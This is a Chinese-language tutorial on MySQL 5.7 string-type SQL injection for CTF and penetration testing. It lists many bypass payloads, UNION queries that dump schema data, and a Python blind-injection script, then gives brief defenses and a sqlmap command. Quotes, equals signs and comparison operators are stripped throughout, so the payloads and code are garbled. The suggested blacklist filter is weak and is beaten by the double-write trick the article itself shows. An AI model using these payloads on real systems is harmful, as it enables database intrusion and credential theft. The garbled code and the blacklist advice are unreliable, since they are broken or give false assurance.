MySQL 5.7 字符型注入深度剖析:从基础原理到CTF实战绕过
MySQL 5.7 字符型注入实战从闭合原理到高级绕过技术在Web安全领域SQL注入始终是最具破坏力的漏洞之一。特别是MySQL 5.7环境下的字符型注入因其特殊的闭合要求和丰富的绕过技巧成为CTF竞赛和实际渗透测试中的高频考点。本文将系统剖析字符型注入的核心机制并通过五个实战场景演示如何突破各种过滤限制。1. 字符型注入的底层机制字符型注入与数字型注入的本质区别在于闭合方式。当应用程序使用以下方式构造SQL语句时SELECT * FROM users WHERE username $input AND password xxx攻击者需要通过单引号完成语句闭合。理解这个原理后我们可以构建经典测试payload OR 11 --这个payload的妙处在于第一个单引号闭合原语句OR 11 构造永真条件双破折号注释掉后续语句关键闭合原理MySQL中字符串常量必须用成对引号包围未闭合的引号会导致语法错误。这正是检测注入点的核心依据。2. 基础绕过技术实战2.1 注释符的灵活运用当空格被过滤时可用以下替代方案原始字符替代方案示例空格/**/admin/**/OR/**/11注释符#或--admin OR 11#换行符%0aadmin%0aOR%0a11特殊场景当#和--被过滤时可使用;%00空字节截断或/*!50000...*/版本特定注释2.2 联合查询的精确控制典型的联合查询注入流程 UNION SELECT 1,2,database() -- UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schemadatabase() --字段匹配技巧先用ORDER BY确定列数通过数字占位定位回显点使用CONCAT_WS()合并多列数据3. 高级过滤绕过手法3.1 关键词双写绕过当系统使用简单替换过滤union时 UNIunionON SELECT 1,2,3 --执行时中间的union被删除前后字符重新组合成完整关键词3.2 十六进制编码绕过处理表名/列名过滤的终极方案 UNION SELECT 1,2,group_concat(column_name) FROM information_schema.columns WHERE table_name0x7573657273 --其中0x7573657273是users的十六进制表示3.3 非常规函数替代常规函数替代方案substr()mid(),left()ascii()ord(),hex()LIKE,REGEXPinformation_schemasys.schema_auto_increment_columns(MySQL 5.7)4. 实战场景拆解场景1全角字符绕过当单引号被转义时尝试全角单引号27 OR 2712727127 --场景2JSON注入技巧现代应用常使用JSON格式传参可尝试{username:admin-- ,password:any}场景3布尔盲注优化传统逐字符检测效率低下可采用二分法优化def check(payload): return len(requests.post(url, datapayload).text) 1000 def binary_search(pos): low, high 32, 126 while low high: mid (low high) // 2 payload fadmin AND ascii(substr(password,{pos},1)){mid}-- if check(payload): low mid 1 else: high mid - 1 return low5. 防御方案与检测方法5.1 参数化查询示例$stmt $pdo-prepare(SELECT * FROM users WHERE username ? AND password ?); $stmt-execute([$username, $password]);5.2 过滤规则建议def sql_filter(input_str): blacklist [, , /*, */, --, ;, union, select] for word in blacklist: input_str input_str.replace(word, ) return input_str5.3 自动化检测工具推荐检测流程使用sqlmap进行初步扫描人工验证关键参数针对WAF特点调整payloadsqlmap -u http://example.com/login --datausernameadminpassword123 --level5 --risk3掌握这些技术需要不断实践。建议搭建本地测试环境如DVWA、WebGoat通过修改防护规则来验证不同绕过手法的有效性。记住真正的安全在于理解攻击原理而非机械地使用工具。